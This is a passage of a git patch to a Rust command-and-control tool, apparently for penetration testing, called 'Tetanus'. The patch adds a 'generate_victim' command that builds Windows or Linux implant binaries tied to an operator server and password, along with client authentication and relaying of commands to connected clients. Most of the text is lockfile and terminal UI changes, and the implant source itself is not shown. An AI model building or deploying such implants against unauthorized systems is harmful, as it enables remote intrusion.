From 2b3a787fb681e17931dd5282fc83b7e8dc29dc42 Mon Sep 17 00:00:00 2001 From: pyro Date: Fri, 14 Aug 2026 16:23:40 -0500 Subject: [PATCH] added code to generate victim binaries, implemented client -> server authentication and fixed a bug in the ui where not all output would be displayed. --- Cargo.lock | 326 ++++++++++- Cargo.toml | 4 + default-modules/info/script.rhai | 26 +- .../print_host_discovery/script.rhai | 2 +- src/funcs.rs | 254 ++++++--- src/lib.rs | 288 +++++++--- src/main.rs | 45 ++ src/server.rs | 534 ++++++++++++------ src/victim.rs | 61 ++ 9 files changed, 1197 insertions(+), 343 deletions(-) create mode 100644 src/victim.rs diff --git a/Cargo.lock b/Cargo.lock index 5c52811..108b2c5 100644 --- a/Cargo.lock +++ b/Cargo.lock @@ -18,6 +18,17 @@ version = "0.1.10" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "366ffbaa4442f4684d91e2cd7c5ea7c4ed8add41959a31447066e279e432b618" +[[package]] +name = "aes" +version = "0.8.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b169f7a6d4742236a0a00c541b845991d0ac43e546831af1249753ab4c3aa3a0" +dependencies = [ + "cfg-if", + "cipher", + "cpufeatures 0.2.17", +] + [[package]] name = "ahash" version = "0.8.12" @@ -146,6 +157,17 @@ version = "1.0.103" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "2a4385e2e34eb35d6b3efe798b9eb88096925d87726c0798709bf56d9ed84af3" +[[package]] +name = "apple-native-keyring-store" +version = "1.0.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "2b350bfd03649e07aa05c0a81b3e15934374e585c98204a57e20b9d49f49bb9a" +dependencies = [ + "keyring-core", + "log", + "security-framework", +] + [[package]] name = "arrayref" version = "0.3.9" @@ -459,6 +481,15 @@ dependencies = [ "generic-array", ] +[[package]] +name = "block-padding" +version = "0.3.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a8894febbff9f758034a5b8e12d87918f56dfc64a8e1fe757d65e29041538d93" +dependencies = [ + "generic-array", +] + [[package]] name = "block2" version = "0.5.1" @@ -516,6 +547,12 @@ dependencies = [ "syn 2.0.117", ] +[[package]] +name = "byteorder" +version = "1.5.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1fd0f2584146f6f2ef48085050886acf353beff7305ebd1ae69500e27c67f64b" + [[package]] name = "bytes" version = "1.11.1" @@ -582,6 +619,15 @@ dependencies = [ "rustversion", ] +[[package]] +name = "cbc" +version = "0.1.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "26b52a9543ae338f279b96b0b9fed9c8093744685043739079ce85cd58f289a6" +dependencies = [ + "cipher", +] + [[package]] name = "cc" version = "1.2.63" @@ -606,6 +652,27 @@ version = "0.2.1" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "613afe47fcd5fac7ccf1db93babcb082c5994d996f20b8b159f2ad1658eb5724" +[[package]] +name = "chacha20" +version = "0.10.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d524456ba66e72eb8b115ff89e01e497f8e6d11d78b70b1aa13c0fbd97540a81" +dependencies = [ + "cfg-if", + "cpufeatures 0.3.0", + "rand_core 0.10.1", +] + +[[package]] +name = "cipher" +version = "0.4.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "773f3b9af64447d2ce9850330c473515014aa235e6a783b02db81ff39e4a3dad" +dependencies = [ + "crypto-common", + "inout", +] + [[package]] name = "clap" version = "4.6.1" @@ -876,6 +943,15 @@ dependencies = [ "libc", ] +[[package]] +name = "cpufeatures" +version = "0.3.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8b2a41393f66f16b0823bb79094d54ac5fbd34ab292ddafb9a0456ac9f87d201" +dependencies = [ + "libc", +] + [[package]] name = "crossbeam-deque" version = "0.8.6" @@ -1081,6 +1157,7 @@ checksum = "9ed9a281f7bc9b7576e61468ba615a66a5c8cfdff42420a70aa82701a3b1e292" dependencies = [ "block-buffer", "crypto-common", + "subtle", ] [[package]] @@ -1537,6 +1614,7 @@ dependencies = [ "cfg-if", "libc", "r-efi 6.0.0", + "rand_core 0.10.1", "wasip2", "wasip3", ] @@ -1715,6 +1793,24 @@ version = "0.2.1" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "dfa686283ad6dd069f105e5ab091b04c62850d3e4cf5d67debad1933f55023df" +[[package]] +name = "hkdf" +version = "0.12.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7b5f8eb2ad728638ea2c7d47a21db23b7b58a72ed6a38256b8a1849f15fbbdf7" +dependencies = [ + "hmac", +] + +[[package]] +name = "hmac" +version = "0.12.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "6c49c37c09c17a53d937dfbb742eb3a961d65a994e6bcdcf37e7399d0cc8ab5e" +dependencies = [ + "digest", +] + [[package]] name = "iced" version = "0.14.0" @@ -1933,6 +2029,16 @@ dependencies = [ "rustversion", ] +[[package]] +name = "inout" +version = "0.1.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "879f10e63c20629ecabbb64a8010319738c66a5cd0c29b02d63d272b03751d01" +dependencies = [ + "block-padding", + "generic-array", +] + [[package]] name = "instability" version = "0.3.12" @@ -2064,6 +2170,27 @@ dependencies = [ "thiserror 2.0.18", ] +[[package]] +name = "keyring" +version = "4.1.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "72585bb6cc9bc370d1d545b7e23fcce71dfd4461c5e15275e3cf51bdfd9a980a" +dependencies = [ + "apple-native-keyring-store", + "keyring-core", + "windows-native-keyring-store", + "zbus-secret-service-keyring-store", +] + +[[package]] +name = "keyring-core" +version = "1.0.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "fb1e621458ca9c51aa110bd0339d4751a056b9576bf1253aee1aa560dda0fc9d" +dependencies = [ + "log", +] + [[package]] name = "khronos-egl" version = "6.0.0" @@ -2404,6 +2531,29 @@ dependencies = [ "minimal-lexical", ] +[[package]] +name = "ntapi" +version = "0.4.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c3b335231dfd352ffb0f8017f3b6027a4917f7df785ea2143d8af2adc66980ae" +dependencies = [ + "winapi", +] + +[[package]] +name = "num" +version = "0.4.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "35bd024e8b2ff75562e5f34e7f4905839deb4b22955ef5e73d2fea1b9813cb23" +dependencies = [ + "num-bigint", + "num-complex", + "num-integer", + "num-iter", + "num-rational", + "num-traits", +] + [[package]] name = "num-bigint" version = "0.4.8" @@ -2414,6 +2564,15 @@ dependencies = [ "num-traits", ] +[[package]] +name = "num-complex" +version = "0.4.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "73f88a1307638156682bada9d7604135552957b7818057dcef22705b4d509495" +dependencies = [ + "num-traits", +] + [[package]] name = "num-conv" version = "0.2.2" @@ -2440,6 +2599,27 @@ dependencies = [ "num-traits", ] +[[package]] +name = "num-iter" +version = "0.1.46" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c92800bd69a1eac91786bcfe9da64a897eb72911b8dc3095decbd07429e8048b" +dependencies = [ + "num-integer", + "num-traits", +] + +[[package]] +name = "num-rational" +version = "0.4.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f83d14da390562dca69fc84082e73e548e1ad308d24accdedd2720017cb37824" +dependencies = [ + "num-bigint", + "num-integer", + "num-traits", +] + [[package]] name = "num-traits" version = "0.2.19" @@ -2725,6 +2905,16 @@ dependencies = [ "objc2-core-foundation", ] +[[package]] +name = "objc2-io-kit" +version = "0.3.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "33fafba39597d6dc1fb709123dfa8289d39406734be322956a69f0931c73bb15" +dependencies = [ + "libc", + "objc2-core-foundation", +] + [[package]] name = "objc2-io-surface" version = "0.3.2" @@ -2760,6 +2950,17 @@ dependencies = [ "objc2-foundation 0.2.2", ] +[[package]] +name = "objc2-open-directory" +version = "0.3.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "bb82bed227edf5201dfedf072bba4015a33d3d4a98519837295a90f0a23f676d" +dependencies = [ + "objc2 0.6.4", + "objc2-core-foundation", + "objc2-foundation 0.3.2", +] + [[package]] name = "objc2-quartz-core" version = "0.2.2" @@ -3032,7 +3233,7 @@ source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "3c80231409c20246a13fddb31776fb942c38553c51e871f8cbd687a4cfb5843d" dependencies = [ "phf_shared", - "rand", + "rand 0.8.6", ] [[package]] @@ -3223,7 +3424,18 @@ version = "0.8.6" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "5ca0ecfa931c29007047d1bc58e623ab12e5590e8c7cc53200d5202b69266d8a" dependencies = [ - "rand_core", + "rand_core 0.6.4", +] + +[[package]] +name = "rand" +version = "0.10.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c7f5fa3a058cd35567ef9bfa5e75732bee0f9e4c55fa90477bef2dfcdbc4be80" +dependencies = [ + "chacha20", + "getrandom 0.4.2", + "rand_core 0.10.1", ] [[package]] @@ -3232,6 +3444,12 @@ version = "0.6.4" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "ec0be4795e2f6a28069bec0b5ff3e2ac9bafc99e6a9a7dc3547996c5c816922c" +[[package]] +name = "rand_core" +version = "0.10.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "63b8176103e19a2643978565ca18b50549f6101881c443590420e4dc998a3c69" + [[package]] name = "range-alloc" version = "0.1.5" @@ -3650,6 +3868,48 @@ dependencies = [ "tiny-skia", ] +[[package]] +name = "secret-service" +version = "5.1.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9a62d7f86047af0077255a29494136b9aaaf697c76ff70b8e49cded4e2623c14" +dependencies = [ + "aes", + "cbc", + "futures-util", + "generic-array", + "getrandom 0.2.17", + "hkdf", + "num", + "once_cell", + "serde", + "sha2", + "zbus", +] + +[[package]] +name = "security-framework" +version = "3.7.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b7f4bc775c73d9a02cde8bf7b2ec4c9d12743edf609006c7facc23998404cd1d" +dependencies = [ + "bitflags 2.12.1", + "core-foundation 0.10.1", + "core-foundation-sys", + "libc", + "security-framework-sys", +] + +[[package]] +name = "security-framework-sys" +version = "2.17.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "6ce2691df843ecc5d231c0b14ece2acc3efb62c0a398c7e1d875f3983ce020e3" +dependencies = [ + "core-foundation-sys", + "libc", +] + [[package]] name = "self_cell" version = "1.2.2" @@ -3723,7 +3983,7 @@ source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "a7507d819769d01a365ab707794a4084392c824f54a7a6a7862f8c3d0892b283" dependencies = [ "cfg-if", - "cpufeatures", + "cpufeatures 0.2.17", "digest", ] @@ -3842,6 +4102,12 @@ dependencies = [ "version_check", ] +[[package]] +name = "smawk" +version = "0.3.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e8e2fb0f499abb4d162f2bedad68f5ef91a1682b5a03596ddb67efd37768d100" + [[package]] name = "smithay-client-toolkit" version = "0.19.2" @@ -4085,6 +4351,21 @@ dependencies = [ "libc", ] +[[package]] +name = "sysinfo" +version = "0.39.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d2071df9448915b71c4fe6d25deaf1c22f12bd234f01540b77312bb8e41361e6" +dependencies = [ + "libc", + "memchr", + "ntapi", + "objc2-core-foundation", + "objc2-io-kit", + "objc2-open-directory", + "windows 0.62.2", +] + [[package]] name = "tempfile" version = "3.27.0" @@ -4180,6 +4461,8 @@ dependencies = [ "fs_extra", "iced", "ipnet", + "keyring", + "rand 0.10.2", "ratatui", "rayon", "rcgen", @@ -4187,11 +4470,24 @@ dependencies = [ "rustc-hash 2.1.2", "rustls", "rustls-pemfile", + "sysinfo", + "textwrap", "tokio", "tokio-rustls", "walkdir", ] +[[package]] +name = "textwrap" +version = "0.16.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c13547615a44dc9c452a8a534638acdf07120d4b6847c8178705da06306a3057" +dependencies = [ + "smawk", + "unicode-linebreak", + "unicode-width", +] + [[package]] name = "thin-vec" version = "0.2.18" @@ -5239,6 +5535,19 @@ version = "0.2.1" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "f0805222e57f7521d6a62e36fa9163bc891acd422f971defe97d64e70d0a4fe5" +[[package]] +name = "windows-native-keyring-store" +version = "1.1.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "063426e76fdec7438d56bb777f67e318a84a25c707b07e575cb8b78e10c028f8" +dependencies = [ + "byteorder", + "keyring-core", + "regex", + "windows-sys 0.61.2", + "zeroize", +] + [[package]] name = "windows-numerics" version = "0.3.1" @@ -5673,6 +5982,17 @@ dependencies = [ "zvariant", ] +[[package]] +name = "zbus-secret-service-keyring-store" +version = "1.0.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "4ccede190ba363386a24e8021c7f3848393976609ec9f5d1f8c6c09ef37075b4" +dependencies = [ + "keyring-core", + "secret-service", + "zbus", +] + [[package]] name = "zbus_macros" version = "5.16.0" diff --git a/Cargo.toml b/Cargo.toml index 4f1ed90..d1accd3 100644 --- a/Cargo.toml +++ b/Cargo.toml @@ -10,6 +10,8 @@ crossterm = "0.29.0" fs_extra = "1.3.0" iced = { version = "0.14.0", features = ["advanced", "tokio"] } ipnet = "2.12.0" +keyring = "4.1.6" +rand = "0.10.2" ratatui = "0.30.0" rayon = "1.12.0" rcgen = "0.14.8" @@ -17,6 +19,8 @@ rhai = { version = "1.24.0", features = ["metadata", "sync"] } rustc-hash = "2.1.2" rustls = "0.23.43" rustls-pemfile = "2.2.0" +sysinfo = "0.39.6" +textwrap = "0.16.2" tokio = { version = "1.52.3", features = ["full"] } tokio-rustls = "0.26.4" walkdir = "2.5.0" diff --git a/default-modules/info/script.rhai b/default-modules/info/script.rhai index 1661846..8233c47 100644 --- a/default-modules/info/script.rhai +++ b/default-modules/info/script.rhai @@ -1,23 +1,25 @@ -let lines = []; +fn fill_space(text, len) { + let s = text.to_string(); + while s.len < len { + s += " "; + } + return s; +} +let lines = []; lines.push("=================================================="); lines.push(" TETANUS SYSTEM INFORMATION"); lines.push("=================================================="); - -// 1. Format Config Map (Settings) lines.push(""); lines.push("[Settings]"); let keys = config.keys(); for k in keys { lines.push("- " + k + ": " + config[k]); } - -// 2. Format Project List lines.push(""); lines.push("[Active Projects]"); lines.push(fill_space("Customer Name", 20) + " | " + fill_space("Project Name", 20) + " | Stage"); lines.push("--------------------------------------------------"); - for p in projects { let customer = p.org_name; let name = p.name; @@ -27,17 +29,5 @@ for p in projects { } lines.push(fill_space(customer, 20) + " | " + fill_space(name, 20) + " | " + stage); } - lines.push("--------------------------------------------------"); - -// Return the array of lines back to Rust lines; - -// Helper function for padding spaces -fn fill_space(text, len) { - let s = text.to_string(); - while s.len < len { - s += " "; - } - return s; -} diff --git a/default-modules/print_host_discovery/script.rhai b/default-modules/print_host_discovery/script.rhai index 4a870fe..e1ea686 100644 --- a/default-modules/print_host_discovery/script.rhai +++ b/default-modules/print_host_discovery/script.rhai @@ -1,5 +1,5 @@ let ips = []; -let scope_path = find_scope_file(project.notes); +let scope_path = find_file(project.notes, "scope"); let scope_text = open_file(scope_path); for line in scope_text.split("\n"){ if line.contains("|") && !line.contains("//"){ diff --git a/src/funcs.rs b/src/funcs.rs index 26fd956..d255216 100644 --- a/src/funcs.rs +++ b/src/funcs.rs @@ -82,6 +82,7 @@ pub fn run_tui( let mut history_index = state.history.len(); let mut handles = Vec::new(); loop { + let mut text_area_width = 0; terminal.draw(|f| { let main_chunks = Layout::default() .direction(Direction::Vertical) @@ -95,6 +96,7 @@ pub fn run_tui( Constraint::Percentage(35), ]) .split(main_chunks[0]); + text_area_width = top_chunks[1].width.saturating_sub(2); let projects: Vec = state .projects .iter() @@ -194,12 +196,25 @@ pub fn run_tui( .scroll((state.info_scroll, 0)) .wrap(ratatui::widgets::Wrap { trim: false }); f.render_widget(info_paragraph, top_chunks[2]); - let output_lines: Vec = state - .output - .iter() - .map(|text| Line::from(Span::raw(text))) - .collect(); + let mut output_lines = Vec::new(); + state.output.iter().for_each(|text| { + let line = Line::from(Span::raw(text)); + if text.to_lowercase().contains("error") { + let line = line.style(Style::default().fg(Color::Red)); + output_lines.push(line); + } else if text.to_lowercase().contains("success") { + let line = line.style(Style::default().fg(Color::Green)); + output_lines.push(line); + } else { + output_lines.push(line); + } + }); let text_area_height = top_chunks[1].height.saturating_sub(2) as usize; + let max_scroll = state.output.len().saturating_sub(text_area_height); + if state.output_follow { + state.output_scroll = max_scroll as u16; + } + state.output_scroll = state.output_scroll.min(max_scroll as u16); if state.output_scroll == u16::MAX { if state.output.len() > text_area_height { state.output_scroll = (state.output.len() - text_area_height) as u16; @@ -213,8 +228,7 @@ pub fn run_tui( .borders(Borders::ALL) .title(" Script Engine Output "), ) - .scroll((state.output_scroll, 0)) - .wrap(ratatui::widgets::Wrap { trim: false }); + .scroll((state.output_scroll, 0)); f.render_widget(output_paragraph, top_chunks[1]); let input_paragraph = Paragraph::new(state.curent_intput.as_str()).block( @@ -225,7 +239,7 @@ pub fn run_tui( f.render_widget(input_paragraph, main_chunks[1]); })?; - if let Ok(event) = event_rx.recv() { + if let Ok(event) = event_rx.recv_timeout(Duration::from_millis(100)) { match event { AppEvent::Worker(msg) => match msg { ToolMessage::EndPrompt => { @@ -241,9 +255,26 @@ pub fn run_tui( } } ToolMessage::Output((rid, txt)) => { + if txt.to_lowercase().contains("[error]") { + let (_, output) = txt.split_once("]").unwrap(); + for line in + textwrap::wrap(output, text_area_width.saturating_sub(6) as usize) + { + state.output.push(format!("error: {}", line.to_string())); + } + } else if txt.contains("[success]") { + let (_, output) = txt.split_once("]").unwrap(); + for line in + textwrap::wrap(output, text_area_width.saturating_sub(9) as usize) + { + state.output.push(format!("success: {}", line.to_string())); + } + } else { + for line in textwrap::wrap(&txt, text_area_width as usize) { + state.output.push(line.to_string()); + } + } state.log.push(txt.clone()); - state.output.push(txt.clone()); - state.output_scroll = u16::MAX; if rid != 0 { if let Some(server) = state.servers.get(state.selected_server) { if let Ok(mut server) = server.lock() { @@ -319,30 +350,38 @@ pub fn run_tui( } ToolMessage::ConnectServer => { if let Some(server) = state.servers.get_mut(state.selected_server) { + let _ = state.main_tx.send(ToolMessage::Output(( + 0, + "[success] Found Server in list!".to_string(), + ))); let mut address = String::new(); let lock_res = server.try_lock(); let mut connected = false; match lock_res { Ok(mut locked_server) => match locked_server.connect() { Ok(id) => { - state.output.push(format!( - "Server Connected! ID:{} ADDRESS:{}", - id, - locked_server.address.clone() - )); + let _ = state.main_tx.send(ToolMessage::Output(( + 0, + format!( + "[success] Server Connected! ID: {} ADDRESS:{}", + id, + locked_server.address.clone() + ), + ))); address = locked_server.address.clone(); connected = true; } Err(e) => { - state - .output - .push(format!("Error connecting to server {e}")); + let _ = state.main_tx.send(ToolMessage::Output(( + 0, + format!("[error] connecting to server {e}"), + ))); } }, Err(e) => { state .output - .push(format!("Error locking server state! {e}")); + .push(format!("[error] locking server state! {e}")); } } if connected { @@ -374,21 +413,33 @@ pub fn run_tui( ); } "CMD" => { - let _ = tx_clone.send( - ToolMessage::Input(( - locked_server - .client_id - .clone(), - data.trim().to_string(), - )), - ); + if data.contains("SET_NAME") { + if let Some((_, name)) = + data.split_once("|") + { + locked_server.name = + name.trim() + .to_string(); + } + } else { + let _ = tx_clone.send( + ToolMessage::Input(( + locked_server + .client_id + .clone(), + data.trim() + .to_string(), + )), + ); + } } _ => {} } } else { match action.as_str() { "disconnect" => { - locked_server.connected = false; + let _ = + locked_server.disconnect(); stop = true; } _ => { @@ -406,12 +457,19 @@ pub fn run_tui( locked_server.action_que.clear(); if locked_server.message_que.is_empty() { let id = locked_server.client_id.clone(); - locked_server - .message_que - .push(format!("{}|||PING\n", id)); + let pass = locked_server.password.clone(); + locked_server.message_que.push(format!( + "{}**{}|||PING\n", + pass, id + )); } } - Err(_) => {} + Err(_) => { + let _ = tx_clone.send(ToolMessage::Output(( + 0, + "Couldn't lock server!".to_string(), + ))); + } } } if stop { @@ -423,6 +481,11 @@ pub fn run_tui( }); handles.push(server_handle); } + } else { + let _ = state.main_tx.send(ToolMessage::Output(( + 0, + "Couldn't Find selected Server!".to_string(), + ))); } } ToolMessage::SendServer(data) => { @@ -457,9 +520,16 @@ pub fn run_tui( let trimmed = state.curent_intput.trim().to_string(); if !trimmed.is_empty() { state.history.push(trimmed.clone()); - state.output.push("\n".to_string()); - state.output.push(format!("[user input] > {}", trimmed)); - state.output.push("\n".to_string()); + let _ = state + .main_tx + .send(ToolMessage::Output((0, "\n".to_string()))); + let _ = state.main_tx.send(ToolMessage::Output(( + 0, + format!("[user input] > {}", trimmed), + ))); + let _ = state + .main_tx + .send(ToolMessage::Output((0, "\n".to_string()))); let prompt = state.prompt.clone(); if prompt.action.is_some() { state.prompt.responses.push(trimmed.clone()); @@ -469,61 +539,77 @@ pub fn run_tui( None, 0, )?; + let _ = state.main_tx.send(ToolMessage::Output(( + 0, + format!("{}", prompt.execute_command), + ))); } else { state.execute_command("prompt", None, 0)?; } - } - let (command, args) = - trimmed.split_once(' ').unwrap_or((&trimmed, "")); - match command { - "exit" | "quit" => break, - "reload-modules" => { - state.initialize_modules(); - state.output.push("Reloading module paths...".into()); - } - "help" => { - let help_text = state.help.clone().join("\n"); - for line in help_text.lines() { - state.output.push(line.to_string()); - } - } - "new_project" | "np" => { - if args.split_once(' ').is_some() { - let _ = state.execute_command( - command, - Some(args.to_string()), + } else { + let (command, args) = + trimmed.split_once(' ').unwrap_or((&trimmed, "")); + match command { + "exit" | "quit" => break, + "reload-modules" => { + state.initialize_modules(); + let _ = state.main_tx.send(ToolMessage::Output(( 0, - ); - } else { - state - .output - .push("Error: USAGE -> np ".into()); + "Reloading Module Paths...".to_string(), + ))); } - } - command_name => { - if state.module_loader.commands.contains_key(command) { - state.output.push(format!( - "[Worker] Executing script '{}'...", - command_name - )); - if let Err(e) = state.execute_command( - command, - Some(args.to_string()), - 0, - ) { - state - .output - .push(format!("[Error] Pipeline fail: {}", e)); + "help" => { + let help_text = state.help.clone().join("\n"); + for line in help_text.lines() { + let _ = state.main_tx.send(ToolMessage::Output(( + 0, + line.to_string(), + ))); } - } else { - if args == "" { - let _ = state.execute_command(command, None, 0); - } else { + } + "new_project" | "np" => { + if args.split_once(' ').is_some() { let _ = state.execute_command( command, Some(args.to_string()), 0, ); + } else { + state.output.push( + "[error]: USAGE -> np ".into(), + ); + } + } + command_name => { + if state.module_loader.commands.contains_key(command) { + let _ = state.main_tx.send(ToolMessage::Output(( + 0, + format!( + "[Worker] Executing script {}...", + command_name + ), + ))); + if let Err(e) = state.execute_command( + command, + Some(args.to_string()), + 0, + ) { + let _ = + state.main_tx.send(ToolMessage::Output(( + 0, + format!("[error] Pipeline faile: {e}"), + ))); + } + } else { + if args == "" { + let _ = state.execute_command(command, None, 0); + } else { + let _ = state.execute_command( + command, + Some(args.to_string()), + 0, + ); + } } } } @@ -601,8 +687,10 @@ pub fn run_tui( let left_side_cutoff = top_chunks[0].width + top_chunks[1].width; if mouse.column < left_side_cutoff { if mouse.kind == crossterm::event::MouseEventKind::ScrollUp { + state.output_follow = false; state.output_scroll = state.output_scroll.saturating_sub(1); } else if mouse.kind == crossterm::event::MouseEventKind::ScrollDown { + state.output_follow = false; state.output_scroll = state.output_scroll.saturating_add(1); } } else { @@ -612,6 +700,14 @@ pub fn run_tui( state.info_scroll = state.info_scroll.saturating_add(1); } } + let max_scroll = state + .output + .len() + .saturating_sub(top_chunks[1].height.saturating_sub(2) as usize) + as u16; + if state.output_scroll >= max_scroll { + state.output_follow = true; + } } } } diff --git a/src/lib.rs b/src/lib.rs index afe2697..2760aee 100644 --- a/src/lib.rs +++ b/src/lib.rs @@ -1,5 +1,6 @@ use fs_extra::dir::{CopyOptions, copy}; use ipnet::IpNet; +use keyring::Entry; use ratatui::crossterm::event; use rhai::{AST, Dynamic, Engine, Scope}; use rustls::{ClientConfig, ClientConnection, RootCertStore, StreamOwned, pki_types::ServerName}; @@ -18,6 +19,7 @@ use std::time::{self, Instant}; pub mod funcs; pub mod server; +pub mod victim; enum AppEvent { Key(event::KeyEvent), @@ -81,12 +83,14 @@ pub struct AppState { pub curent_intput: String, pub module_loader: ModuleLoader, pub output_scroll: u16, + pub output_follow: bool, prompt: Prompt, pub info_scroll: u16, pub server_broker_running: bool, pub app_state_running: bool, pub remoting: bool, pub help: Vec, + pub name: String, } impl AppState { @@ -112,6 +116,7 @@ impl AppState { curent_intput: String::new(), module_loader: ModuleLoader::new(), output_scroll: 0, + output_follow: true, prompt: Prompt { action: None, responses: Vec::new(), @@ -124,6 +129,7 @@ impl AppState { app_state_running: true, remoting: false, help: Vec::new(), + name: String::new(), }, main_rx, ) @@ -137,23 +143,28 @@ impl AppState { if parts.len() == 2 { match parts[0].trim() { "servers" => { - let addresses: Vec<&str> = parts[1].trim().split(", ").collect(); - for address in addresses { - let new_server = Server { - address: address.trim().to_string(), - connected: false, - timer: Duration::from_secs(60), - last_check: time::Instant::now(), - message_que: Vec::new(), - action_que: Vec::new(), - client_id: 0, - selected_client: 0, - config: None, - }; - self.servers.push(Arc::new(Mutex::new(new_server))); + for server_data in parts[1].trim().split(", ").collect::>() { + if let Some((address, name)) = server_data.split_once("|") { + let new_server = Server { + address: address.trim().to_string(), + connected: false, + timer: Duration::from_secs(60), + last_check: time::Instant::now(), + message_que: Vec::new(), + action_que: Vec::new(), + client_id: 0, + selected_client: 0, + config: None, + logged_in: false, + password: String::new(), + name: name.to_string(), + cert_text: String::new(), + }; + self.servers.push(Arc::new(Mutex::new(new_server))); + } } self.config - .insert("servers".to_string(), line.trim().to_string()); + .insert("servers".to_string(), parts[1].trim().to_string()); } _ => { if parts[0].len() > 1 { @@ -293,15 +304,62 @@ impl AppState { if let Err(e) = self.new_project(org.to_string(), name.to_string(), rid) { tx.send(ToolMessage::Output(( rid, - format!("Error making {}-{}: {e}", org, name), + format!("[error] making {}-{}: {e}", org, name), )))?; } else { tx.send(ToolMessage::Output(( rid, - format!("{}-{} created successfully!", org, name), + format!("[success] {}-{} created!", org, name), )))?; } } + "generate_victim" => { + let mut success = false; + if let Some(args) = command_args { + if args.split(" ").into_iter().count() == 1 { + let mut address = String::new(); + let mut password = String::new(); + let config_file = self.config_file.clone(); + let files = self.projects[self.selected_project].files.clone(); + let mut cert_text = String::new(); + if let Ok(lock) = self.servers[self.selected_server].lock() { + address = lock.address.clone(); + password = lock.password.clone(); + cert_text = lock.cert_text.clone(); + } + match victim::generate_code( + address, + password, + config_file, + files, + args, + self.main_tx.clone(), + cert_text, + ) { + Ok(_) => { + let _ = self.main_tx.send(ToolMessage::Output(( + rid, + "[Success] Victim code generated! Compilation thread spawned!" + .to_string(), + ))); + success = true; + } + Err(e) => { + let _ = self.main_tx.send(ToolMessage::Output(( + 0, + format!("[error] generating victim code: {e}"), + ))); + } + } + } + } + if !success { + let _ = self.main_tx.send(ToolMessage::Output(( + 0, + format!("Usage: generate_victim (windows/linux)"), + ))); + } + } "current_project" | "cp" => { let mut out_vec = Vec::new(); out_vec.push(format!( @@ -345,13 +403,13 @@ impl AppState { Ok(_) => { self.main_tx.send(ToolMessage::Output(( rid, - String::from("project promoted successfully!"), + String::from("[success] project promoted!"), )))?; } Err(e) => { self.main_tx.send(ToolMessage::Output(( rid, - format!("Error promoting project: {}", e), + format!("[error] promoting project: {}", e), )))?; } } @@ -477,6 +535,10 @@ impl AppState { client_id: 0, selected_client: 0, config: None, + logged_in: false, + password: String::new(), + name: String::new(), + cert_text: String::new(), }; self.servers.push(Arc::new(Mutex::new(new_server))); self.prompt.reset(); @@ -491,12 +553,11 @@ impl AppState { .send(ToolMessage::Input((0, self.prompt.execute_command.clone()))); let _ = self.main_tx.send(ToolMessage::EndPrompt); } else { - let mut query = self.prompt.prompts[0].clone(); - if self.prompt.responses.len() > 0 - && self.prompt.responses.len() < self.prompt.prompts.len() - { - query = self.prompt.prompts[self.prompt.responses.len() - 1].clone(); + let mut prompt_index = 0; + if self.prompt.responses.len() > 0 { + prompt_index = self.prompt.num_responses - self.prompt.responses.len(); } + let query = self.prompt.prompts[prompt_index].clone(); let _ = self.main_tx.send(ToolMessage::Output((rid, query))); } } @@ -507,16 +568,16 @@ impl AppState { let _ = self.main_tx.send(ToolMessage::Output(( rid, format!( - "Server ID:{} Address:{} ClientID:{} Sleep:{} Last:{} - Currently Selected", - id, s.address, s.client_id, s.timer.as_secs(), s.last_check.elapsed().as_secs() + "Server ID:{} Name:{} Address:{} ClientID:{} Sleep:{} Last:{} Loggedin: {} - Currently Selected", + id, s.name, s.address, s.client_id, s.timer.as_secs(), s.last_check.elapsed().as_secs(), s.logged_in ), ))); } else { let _ = self.main_tx.send(ToolMessage::Output(( rid, format!( - "Server ID:{} Address:{} ClientID:{} Sleep:{} Last:{}", - id, s.address, s.client_id, s.timer.as_secs(), s.last_check.elapsed().as_secs() + "Server ID:{} Name:{} Address:{} ClientID:{} Sleep:{} Last:{}, loggedin: {}", + id, s.name, s.address, s.client_id, s.timer.as_secs(), s.last_check.elapsed().as_secs(), s.logged_in ), ))); } @@ -563,7 +624,7 @@ impl AppState { } else { let _ = self.main_tx.send(ToolMessage::Output(( rid, - String::from("error selecting server: no prompt responses found!"), + String::from("[error] selecting server: no prompt responses found!"), ))); } let _ = self.main_tx.send(ToolMessage::EndPrompt); @@ -573,11 +634,14 @@ impl AppState { if let Ok(mut server) 